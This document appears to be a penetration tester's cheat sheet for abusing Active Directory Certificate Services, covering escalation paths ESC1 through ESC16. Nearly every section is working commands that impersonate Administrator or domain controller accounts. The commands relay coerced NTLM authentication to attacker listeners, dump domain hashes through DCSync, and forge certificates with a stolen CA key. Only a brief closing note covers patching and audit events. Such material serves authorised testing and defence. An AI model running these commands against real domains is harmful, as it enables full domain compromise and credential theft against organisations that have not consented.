Based on research by Will Schroeder & Lee Christensen (SpecterOps) — "Certified Pre-Owned" ESC1–ESC16 + domain escalation via CA abuse. Tools: certipy, Certify, PKINITtools, Impacket
1. Enumeration
Always start here — find misconfigured templates and CAs before attempting any ESC.
# certipy — full ADCS enumeration (templates + CAs + vulnerabilities)
certipy find -u attacker@domain.local -p 'Pass123!' -dc-ip <DC_IP> -stdout
certipy find -u attacker@domain.local -p 'Pass123!' -dc-ip <DC_IP> -vulnerable -stdout
# Save to zip (BloodHound-compatible + text + json)
certipy find -u attacker@domain.local -p 'Pass123!' -dc-ip <DC_IP> -vulnerable
# Certify (Windows)
Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser
Certify.exe cas
# crackmapexec
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' -M adcs
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' -M adcs -o SERVER=<CA_SERVER>
# Manual LDAP query — list all templates
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local' \
'(objectclass=pKICertificateTemplate)' name msPKI-Certificate-Name-Flag msPKI-Enrollment-Flag pkiextendedkeyusage
Key flags to look for:
| Flag | Value | Meaning |
|---|---|---|
msPKI-Certificate-Name-Flag |
0x1 (ENROLLEE_SUPPLIES_SUBJECT) |
Requester can set SAN → ESC1 |
msPKI-Enrollment-Flag |
0x2 (PEND_ALL_REQUESTS) |
Manager approval required (safe) |
msPKI-RA-Application-Policies |
Any Purpose OID | ESC2 |
| EKU | Certificate Request Agent | ESC3 |
CT_FLAG_NO_SECURITY_EXTENSION |
set | ESC9/ESC16 |
2. ESC1 — Misconfigured Certificate Template (SAN)
Conditions:
- Template has
ENROLLEE_SUPPLIES_SUBJECTflag (msPKI-Certificate-Name-Flag = 0x1) - Template has an EKU that allows authentication (Client Authentication, Smart Card Logon, PKINIT, Any Purpose)
- Low-privilege users can enroll
Attack: Request a certificate and set the SAN (Subject Alternative Name) to any user (e.g., Administrator) to authenticate as them.
# certipy — request cert as Administrator using vulnerable template
certipy req -u attacker@domain.local -p 'Pass123!' \
-ca '<CA_Name>' \
-template '<VulnerableTemplate>' \
-upn administrator@domain.local \
-dc-ip <DC_IP>
# Output: administrator.pfx
# Authenticate with the cert → get TGT + NTLM hash
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
# Output: administrator.ccache + NTLM hash
# Use the TGT
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@<DC_IP>
wmiexec.py -k -no-pass domain.local/administrator@<DC_IP>
# --- Windows (Certify + Rubeus) ---
Certify.exe request /ca:<CA_Server>\<CA_Name> /template:<Template> /altname:administrator
# Convert pem → pfx: openssl pkcs12 -in cert.pem -keyex -CSP "..." -export -out cert.pfx
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:'' /ptt
3. ESC2 — Any Purpose / SubCA Template
Conditions:
- Template has
Any PurposeEKU or no EKU at all (SubCA template) - Low-privilege users can enroll
Attack: Certificate can be used for any purpose including client auth, code signing, etc. Can be used as an enrollment agent to request certs on behalf of other users (chain into ESC3).
# Request the SubCA/AnyPurpose cert
certipy req -u attacker@domain.local -p 'Pass123!' \
-ca '<CA_Name>' -template '<ESC2_Template>' -dc-ip <DC_IP>
# Use it as an enrollment agent (see ESC3 step 2 below)
certipy req -u attacker@domain.local -p 'Pass123!' \
-ca '<CA_Name>' -template 'User' \
-on-behalf-of 'domain\administrator' \
-pfx attacker.pfx -dc-ip <DC_IP>
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
4. ESC3 — Certificate Request Agent
Conditions:
- Template A: has
Certificate Request AgentEKU, low-priv enrollment - Template B: allows enrollment agent to enroll on behalf of others (has
Application Policiesor no restriction)
Attack: Two-step — get an enrollment agent certificate, then use it to request a cert on behalf of any user.
# Step 1: Request enrollment agent certificate (Template with CRA EKU)
certipy req -u attacker@domain.local -p 'Pass123!' \
-ca '<CA_Name>' -template '<CRA_Template>' -dc-ip <DC_IP>
# Output: attacker.pfx (enrollment agent cert)
# Step 2: Use enrollment agent cert to request on behalf of Administrator
certipy req -u attacker@domain.local -p 'Pass123!' \
-ca '<CA_Name>' -template '<AuthTemplate>' \
-on-behalf-of 'domain\administrator' \
-pfx attacker.pfx -dc-ip <DC_IP>
# Output: administrator.pfx
# Step 3: Authenticate
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
5. ESC4 — Vulnerable Template ACL
Conditions:
- A low-privilege user has write access to a certificate template object (GenericWrite, WriteProperty, WriteDACL, etc.)
- The template itself may be safe — but you can modify it to become ESC1/ESC2.
Attack: Modify the template to enable ENROLLEE_SUPPLIES_SUBJECT flag, then exploit as ESC1, then restore.
# certipy — all-in-one ESC4 (modifies template → exploits → restores)
certipy template -u attacker@domain.local -p 'Pass123!' \
-template '<VulnerableTemplate>' -save-old -dc-ip <DC_IP>
# certipy will temporarily set ENROLLEE_SUPPLIES_SUBJECT + disable manager approval
# Then request a cert as Administrator
certipy req -u attacker@domain.local -p 'Pass123!' \
-ca '<CA_Name>' -template '<VulnerableTemplate>' \
-upn administrator@domain.local -dc-ip <DC_IP>
# Restore original template config
certipy template -u attacker@domain.local -p 'Pass123!' \
-template '<VulnerableTemplate>' -configuration '<Template>.json' -dc-ip <DC_IP>
# Authenticate
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
6. ESC5 — Vulnerable PKI Object ACL
Conditions:
- Write access to sensitive AD objects related to PKI:
- The CA server computer object
- The
CN=Public Key Servicescontainer - The
NTAuthCertificatesobject - The
Enrollment Servicesobject
Attack: Varies depending on which object is writable. Can lead to CA compromise or rogue cert trust.
# Find misconfigured PKI container ACLs
Get-DomainObjectAcl -SearchBase 'CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local' \
-ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match 'Write|GenericAll' }
# If you can write NTAuthCertificates — forge and publish a rogue CA cert
# (Advanced — usually chains to ESC7 or custom CA installation)
# If you own the CA computer object → RBCD or Shadow Creds on CA server → local admin → CA shell
# (then ESC12 — arbitrary cert issuance)
7. ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 Flag
Conditions:
- The CA has the
EDITF_ATTRIBUTESUBJECTALTNAME2flag enabled - This flag allows any certificate request (even for templates that don't set ENROLLEE_SUPPLIES_SUBJECT) to include a SAN
Attack: Request a cert from any enrollment-allowed template and supply an arbitrary SAN.
# Check if CA has the flag set
certipy find -u attacker@domain.local -p 'Pass123!' -dc-ip <DC_IP> -vulnerable -stdout
# Look for: "User Specified SAN: Enabled"
# Exploit — request cert from basic template (e.g., "User") with arbitrary SAN
certipy req -u attacker@domain.local -p 'Pass123!' \
-ca '<CA_Name>' -template 'User' \
-upn administrator@domain.local -dc-ip <DC_IP>
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
Note: Microsoft patched this partially in May 2022 (KB5014754). Requires
StrongCertificateBindingEnforcement = 0orCertificateMappingMethodsto include weaker methods on newer DCs.
8. ESC7 — Vulnerable CA ACL
Conditions:
- Attacker has
ManageCAorManageCertificatesright on the CA
Two sub-attacks:
ESC7a — ManageCertificates → Issue Pending/Failed Certs
# Step 1: Request a cert that would normally need manager approval (PEND_ALL_REQUESTS)
certipy req -u attacker@domain.local -p 'Pass123!' \
-ca '<CA_Name>' -template '<PendingTemplate>' \
-upn administrator@domain.local -dc-ip <DC_IP>
# Output: Request ID = <N> (pending)
# Step 2: Approve/issue the pending request using ManageCertificates
certipy ca -u attacker@domain.local -p 'Pass123!' \
-ca '<CA_Name>' -issue-request <N> -dc-ip <DC_IP>
# Step 3: Retrieve the issued cert
certipy req -u attacker@domain.local -p 'Pass123!' \
-ca '<CA_Name>' -retrieve <N> -dc-ip <DC_IP>
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
ESC7b — ManageCA → Enable EDITF_ATTRIBUTESUBJECTALTNAME2
# Enable the flag (turns CA into ESC6-vulnerable)
certipy ca -u attacker@domain.local -p 'Pass123!' \
-ca '<CA_Name>' -enable-flag EDITF_ATTRIBUTESUBJECTALTNAME2 -dc-ip <DC_IP>
# Restart the CA service (required for flag to take effect)
# May need CA admin shell or SCM access for this
# Now exploit as ESC6
certipy req -u attacker@domain.local -p 'Pass123!' \
-ca '<CA_Name>' -template 'User' \
-upn administrator@domain.local -dc-ip <DC_IP>
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
9. ESC8 — NTLM Relay to AD CS HTTP Endpoints
Conditions:
- The CA has the Web Enrollment interface (
certsrv) running over HTTP (not HTTPS, or HTTPS without EPA) - You can coerce NTLM authentication from a target (DC, server, or user)
Attack: Relay the NTLM auth of a DC machine account to the CA's /certsrv/certfnsh.asp endpoint and request a cert for the DC, then DCSync.
# Step 1: Start certipy relay listener
certipy relay -ca <CA_IP> -template DomainController
# Step 2: Coerce NTLM from the DC (pick any coercion method)
# Option A — PetitPotam (MS-EFSRPC)
PetitPotam.py -u attacker -p 'Pass123!' <ATTACKER_IP> <DC_IP>
# Option B — PrinterBug (MS-RPRN)
printerbug.py 'domain.local/attacker:Pass123!'@<DC_IP> <ATTACKER_IP>
# Option C — Coercer (tries all methods)
Coercer coerce -u attacker -p 'Pass123!' -d domain.local \
--target <DC_IP> --listener-ip <ATTACKER_IP>
# certipy relay will catch the DC$ auth and issue a DomainController cert
# Output: <dc_hostname>$.pfx
# Step 3: Authenticate as the DC machine account
certipy auth -pfx '<dc_hostname>$.pfx' -dc-ip <DC_IP>
# Output: DC$ NTLM hash + TGT
# Step 4: DCSync using the DC$ account
export KRB5CCNAME=<dc_hostname>$.ccache
secretsdump.py -k -no-pass domain.local/'<dc_hostname>$'@<DC_IP>
# Or with NTLM hash
secretsdump.py -hashes :<DC_NTLM> 'domain.local/<dc_hostname>$'@<DC_IP> -just-dc-ntlm
10. ESC9 — No Security Extension on Template
Conditions:
- Template has
CT_FLAG_NO_SECURITY_EXTENSIONflag set (msPKI-Enrollment-Flagbit 0x80000) - Combined with: attacker has
GenericWriteon a user object ANDStrongCertificateBindingEnforcementon DCs is 0 or 1
Attack: Change the target user's UPN to match a privileged account, request a cert, restore UPN. The cert maps to the privileged account during auth.
# Step 1: Save the target user's current UPN
certipy account read -u attacker@domain.local -p 'Pass123!' \
-user <TargetUser> -dc-ip <DC_IP>
# Step 2: Change target UPN to administrator (requires GenericWrite on TargetUser)
certipy account update -u attacker@domain.local -p 'Pass123!' \
-user <TargetUser> -upn administrator -dc-ip <DC_IP>
# Step 3: Request cert as TargetUser (cert will have UPN=administrator)
certipy req -u <TargetUser>@domain.local -p 'TargetPass!' \
-ca '<CA_Name>' -template '<ESC9_Template>' -dc-ip <DC_IP>
# Step 4: Restore original UPN
certipy account update -u attacker@domain.local -p 'Pass123!' \
-user <TargetUser> -upn <TargetUser>@domain.local -dc-ip <DC_IP>
# Step 5: Authenticate — DC maps the UPN to administrator
certipy auth -pfx administrator.pfx -username administrator -domain domain.local -dc-ip <DC_IP>
11. ESC10 — Weak Certificate Mappings
Conditions:
StrongCertificateBindingEnforcement= 0 on DCs (disabled) or = 1 (compatibility mode)- Attacker has
GenericWriteon a target user
Two sub-cases based on registry value:
ESC10a — StrongCertificateBindingEnforcement = 0
# Same flow as ESC9 — change UPN, request cert, auth
# With value=0, the DC accepts the cert's SAN/UPN without checking strong mapping
certipy account update -u attacker@domain.local -p 'Pass123!' \
-user <TargetUser> -upn administrator -dc-ip <DC_IP>
certipy req -u <TargetUser>@domain.local -p 'Pass!' \
-ca '<CA>' -template '<Template>' -dc-ip <DC_IP>
certipy account update -u attacker@domain.local -p 'Pass123!' \
-user <TargetUser> -upn <TargetUser>@domain.local -dc-ip <DC_IP>
certipy auth -pfx administrator.pfx -username administrator -domain domain.local -dc-ip <DC_IP>
ESC10b — CertificateMappingMethods includes UPN (0x4)
# Change target user's altSecurityIdentities or UPN to match DC machine account
certipy account update -u attacker@domain.local -p 'Pass123!' \
-user <TargetUser> -upn '<dc_hostname>$@domain.local' -dc-ip <DC_IP>
certipy req -u <TargetUser>@domain.local -p 'Pass!' \
-ca '<CA>' -template '<Template>' -dc-ip <DC_IP>
certipy account update -u attacker@domain.local -p 'Pass123!' \
-user <TargetUser> -upn <TargetUser>@domain.local -dc-ip <DC_IP>
# Auth as DC$, then DCSync
certipy auth -pfx '<dc_hostname>$.pfx' -dc-ip <DC_IP>
secretsdump.py -hashes :<NTLM> 'domain.local/<dc_hostname>$'@<DC_IP> -just-dc-ntlm
12. ESC11 — NTLM Relay to ICPR (RPC)
Conditions:
- CA RPC endpoint (
MS-ICPR) does not enforce packet privacy (IF_ENFORCES_ENCRYPTION_ICPRnot set) - You can coerce NTLM from a target
Attack: Same concept as ESC8 but over RPC instead of HTTP — relay to the CA's ICPR endpoint.
# Step 1: Start certipy relay in RPC mode
certipy relay -ca <CA_IP> -template DomainController -target rpc://<CA_IP>
# Step 2: Coerce NTLM from DC
PetitPotam.py -u attacker -p 'Pass123!' <ATTACKER_IP> <DC_IP>
# or
Coercer coerce -u attacker -p 'Pass123!' -d domain.local \
--target <DC_IP> --listener-ip <ATTACKER_IP>
# Steps 3-4: Same as ESC8 — auth + DCSync
certipy auth -pfx '<dc_hostname>$.pfx' -dc-ip <DC_IP>
secretsdump.py -k -no-pass domain.local/'<dc_hostname>$'@<DC_IP>
13. ESC12 — Shell Access to CA Server
Conditions:
- You have local admin / shell access on the CA server itself (via RCE, RBCD on CA computer, etc.)
Attack: Use certutil or direct CA admin tools to issue arbitrary certificates.
# On the CA server — issue a cert for Administrator directly
certutil -config '<CA_Server>\<CA_Name>' -submit -attrib "CertificateTemplate:User\nSAN:upn=administrator@domain.local" req.csr
# Or use the CA's admin interface
# Install the RSAT CA tools and use certsrv.msc
# Or via certipy if you have CA admin rights obtained from shell
certipy ca -u attacker@domain.local -p 'Pass123!' -ca '<CA_Name>' \
-enable-flag EDITF_ATTRIBUTESUBJECTALTNAME2 -dc-ip <DC_IP>
14. ESC13 — OID Group Link Abuse
Conditions:
- A certificate template is linked to an AD group via
msPKI-Certificate-Policy(issuance policy OID) - The OID has a
msDS-OIDToGroupLinkattribute pointing to a privileged group - Low-privilege users can enroll
Attack: Enroll in the template → receive a cert → Kerberos automatically adds you to the linked group when you use the cert for auth (via PKINIT).
# Enumerate OID-to-group links
certipy find -u attacker@domain.local -p 'Pass123!' -dc-ip <DC_IP> -vulnerable -stdout
# Look for: "Group:" under template info
# Request the certificate
certipy req -u attacker@domain.local -p 'Pass123!' \
-ca '<CA_Name>' -template '<ESC13_Template>' -dc-ip <DC_IP>
# Authenticate — Kerberos PAC will include the linked group membership
certipy auth -pfx attacker.pfx -dc-ip <DC_IP>
# The resulting TGT will contain the OID-linked group in the PAC
export KRB5CCNAME=attacker.ccache
# If the linked group = Domain Admins, you're now DA for this session
klist # verify group membership in TGT
15. ESC14 — Explicit Mapping Abuse
Conditions:
StrongCertificateBindingEnforcement= 1 or 2- Attacker has
GenericWriteon target user → can writealtSecurityIdentitiesattribute - Target has a certificate that can be mapped
Attack: Write a crafted altSecurityIdentities value on a privileged user that maps to your own certificate.
# Step 1: Get your own certificate (any valid cert from the CA)
certipy req -u attacker@domain.local -p 'Pass123!' \
-ca '<CA_Name>' -template 'User' -dc-ip <DC_IP>
# Step 2: Get the SHA1 of your cert's issuer+serial (X509IssuerSerialNumber format)
certipy cert -pfx attacker.pfx -noout -text | grep -A5 'Issuer\|Serial'
# Step 3: Write altSecurityIdentities on Administrator (requires GenericWrite)
# Format: X509:<I>CN=CA-Name<SR>serial_reversed_hex
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> \
set object Administrator altSecurityIdentities \
-v 'X509:<I>CN=<CA_Name><SR><SerialHex>'
# Step 4: Authenticate as Administrator using your cert
certipy auth -pfx attacker.pfx -username administrator -domain domain.local -dc-ip <DC_IP>
16. ESC15 — Application Policy Abuse (EKUwu)
Discovered by Justin Bollinger (TrustedSec) — 2024
Conditions:
- Schema version 1 template (older templates without schema version 2 protections)
ENROLLEE_SUPPLIES_SUBJECTis not required — the EKU restriction is bypassed via Application Policies
Attack: Request a cert and include Client Authentication in the Application Policies extension even if the template's EKU doesn't include it.
# Identify schema v1 templates
certipy find -u attacker@domain.local -p 'Pass123!' -dc-ip <DC_IP> -vulnerable -stdout
# Look for: "Schema Version: 1"
# Request with application policy override
certipy req -u attacker@domain.local -p 'Pass123!' \
-ca '<CA_Name>' -template '<SchemaV1_Template>' \
-application-policies 'Client Authentication' \
-upn administrator@domain.local -dc-ip <DC_IP>
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
17. ESC16 — Security Extension Disabled on CA
Conditions:
- CA has
EDITF_DISABLEEXTENSIONLISTflag or theszOID_NTDS_CA_SECURITY_EXTOID is suppressed - Similar to ESC9/ESC10 — the security extension (SID extension) is not embedded in issued certs
Attack: Without the security extension containing the requester's SID, certs can be mapped to arbitrary accounts based on UPN alone. Same exploitation path as ESC9.
# Check CA flags
certipy find -u attacker@domain.local -p 'Pass123!' -dc-ip <DC_IP> -vulnerable -stdout
# Look for: "Disable SAN Security Extension: Enabled"
# Exploit — same as ESC9/ESC10 flow
certipy account update -u attacker@domain.local -p 'Pass123!' \
-user <TargetUser> -upn administrator@domain.local -dc-ip <DC_IP>
certipy req -u <TargetUser>@domain.local -p 'Pass!' \
-ca '<CA>' -template 'User' -dc-ip <DC_IP>
certipy account update -u attacker@domain.local -p 'Pass123!' \
-user <TargetUser> -upn <TargetUser>@domain.local -dc-ip <DC_IP>
certipy auth -pfx administrator.pfx -username administrator -domain domain.local -dc-ip <DC_IP>
18. Domain Escalation via Certificate Abuse
18.1 PKINIT → NTLM via UnPAC-the-Hash
When PKINIT auth succeeds but you need an NTLM hash (e.g., for PTH), extract it from the PADATA.
# certipy auth already outputs NTLM directly:
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
# Output includes: [*] Got hash for 'administrator@domain.local': aad3b435...:NTLM_HASH
# Manual with gettgtpkinit + getnthash (PKINITtools)
gettgtpkinit.py -cert-pfx administrator.pfx -key-pass '' \
domain.local/administrator administrator.ccache
export KRB5CCNAME=administrator.ccache
getnthash.py -key <AS_REP_KEY> domain.local/administrator
18.2 Pass-the-Certificate
# Use pfx directly for WinRM/SMB access
evil-winrm -i <TARGET_IP> -S -c admin.crt -k admin.key
# Or convert pfx → pem for tools that need it
openssl pkcs12 -in administrator.pfx -nocerts -out admin.key -nodes
openssl pkcs12 -in administrator.pfx -clcerts -nokeys -out admin.crt
18.3 Forge Certificates with Stolen CA Private Key
If you have access to the CA server (ESC12 or DA → CA):
# Step 1: Extract CA cert + private key from CA server
# (Requires local admin on CA server)
certipy ca -backup -u attacker@domain.local -p 'Pass123!' \
-ca '<CA_Name>' -dc-ip <DC_IP>
# Output: <CA_Name>.pfx
# Step 2: Forge any certificate (Golden Certificate)
certipy forge -ca-pfx '<CA_Name>.pfx' \
-upn administrator@domain.local \
-subject 'CN=Administrator,CN=Users,DC=domain,DC=local'
# Output: administrator_forged.pfx
# Step 3: Authenticate
certipy auth -pfx administrator_forged.pfx -dc-ip <DC_IP>
Note: Forged certs bypass template restrictions entirely and survive CA key rollover until the CA cert itself expires or is revoked.
19. Scenario Matrix
| ESC | Condition | Attack Summary | Tool |
|---|---|---|---|
| ESC1 | ENROLLEE_SUPPLIES_SUBJECT + auth EKU | Request cert with arbitrary SAN (UPN) | certipy req |
| ESC2 | Any Purpose EKU or no EKU | Enroll for any purpose; chain to ESC3 | certipy req |
| ESC3 | Certificate Request Agent EKU | Get enrollment agent cert → request on behalf of others | certipy req (2-step) |
| ESC4 | Write ACL on template | Modify template flags → ESC1 | certipy template + req |
| ESC5 | Write ACL on PKI AD objects | Modify CA/NTAuth objects | PowerView + certipy |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 on CA | Any template request includes SAN | certipy req |
| ESC7a | ManageCertificates on CA | Approve pending requests | certipy ca -issue-request |
| ESC7b | ManageCA on CA | Enable ESC6 flag | certipy ca -enable-flag |
| ESC8 | CA HTTP enrollment + NTLM relay | Relay DC auth → get DC cert → DCSync | certipy relay + coercion |
| ESC9 | CT_FLAG_NO_SECURITY_EXTENSION + GenericWrite on user | Change UPN → request cert → auth as privileged user | certipy account + req |
| ESC10a | StrongBinding=0 + GenericWrite | Same as ESC9 | certipy account + req |
| ESC10b | CertMappingMethods incl UPN + GenericWrite | Map cert to DC$ → DCSync | certipy account + req |
| ESC11 | CA RPC no encryption + NTLM relay | Relay DC auth over RPC → DC cert | certipy relay (rpc) + coercion |
| ESC12 | Shell on CA server | Direct cert issuance / CA compromise | certutil / certipy ca |
| ESC13 | OID-to-group link on template | Enroll → TGT includes linked group PAC | certipy req + auth |
| ESC14 | GenericWrite on user + strong binding | Write altSecurityIdentities → map your cert | bloodyAD + certipy auth |
| ESC15 | Schema v1 template | Override EKU via Application Policies | certipy req -application-policies |
| ESC16 | SID security extension disabled on CA | Same as ESC9 — UPN-based mapping bypass | certipy account + req |
20. Tool Cheat Sheet
# --- certipy (primary tool) ---
pip install certipy-ad
certipy find # Enumerate ADCS (templates, CAs, vulnerabilities)
certipy req # Request a certificate
certipy auth # Authenticate with a PFX → get TGT + NTLM
certipy ca # Manage CA (issue pending, enable flags, backup)
certipy template # Modify template configuration
certipy account # Update user attributes (UPN, altSecID)
certipy relay # NTLM relay listener for ESC8/ESC11
certipy forge # Forge cert with stolen CA key
certipy cert # Inspect / decode a certificate
# --- Certify (Windows) ---
Certify.exe find /vulnerable
Certify.exe request /ca:<CA> /template:<Template> /altname:<user>
# --- Rubeus (Windows) ---
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /ptt
# --- PKINITtools ---
gettgtpkinit.py domain.local/administrator admin.ccache -cert-pfx admin.pfx
getnthash.py -key <key> domain.local/administrator
# --- Impacket ---
getST.py # S4U after getting machine cert via PKINIT
secretsdump.py # DCSync after obtaining DA creds from ADCS
# --- Coercion tools ---
PetitPotam.py <ATTACKER_IP> <TARGET_IP> -u attacker -p Pass123!
printerbug.py 'domain.local/attacker:Pass123!'@<TARGET_IP> <ATTACKER_IP>
Coercer coerce --target <IP> --listener-ip <ATTACKER_IP> -u attacker -p Pass123! -d domain.local
Notes
- Patching (KB5014754): Microsoft's May 2022 patch introduced
StrongCertificateBindingEnforcement. ESC1/ESC6 still work if the CA issues certs with the SID extension (most do). ESC9/ESC10/ESC16 specifically target weak binding scenarios. - Audit: Check
Securityevent log on CA server — event IDs4886(cert requested),4887(cert issued),4888(cert denied). - certipy
-debug: Add-debugto any certipy command for verbose output when troubleshooting Kerberos/PKINIT failures. - RC4 fallback: If PKINIT fails with AES errors, try
-ldap-scheme ldapsor check if RC4 is disabled domain-wide — some DCs require specific KDC flags.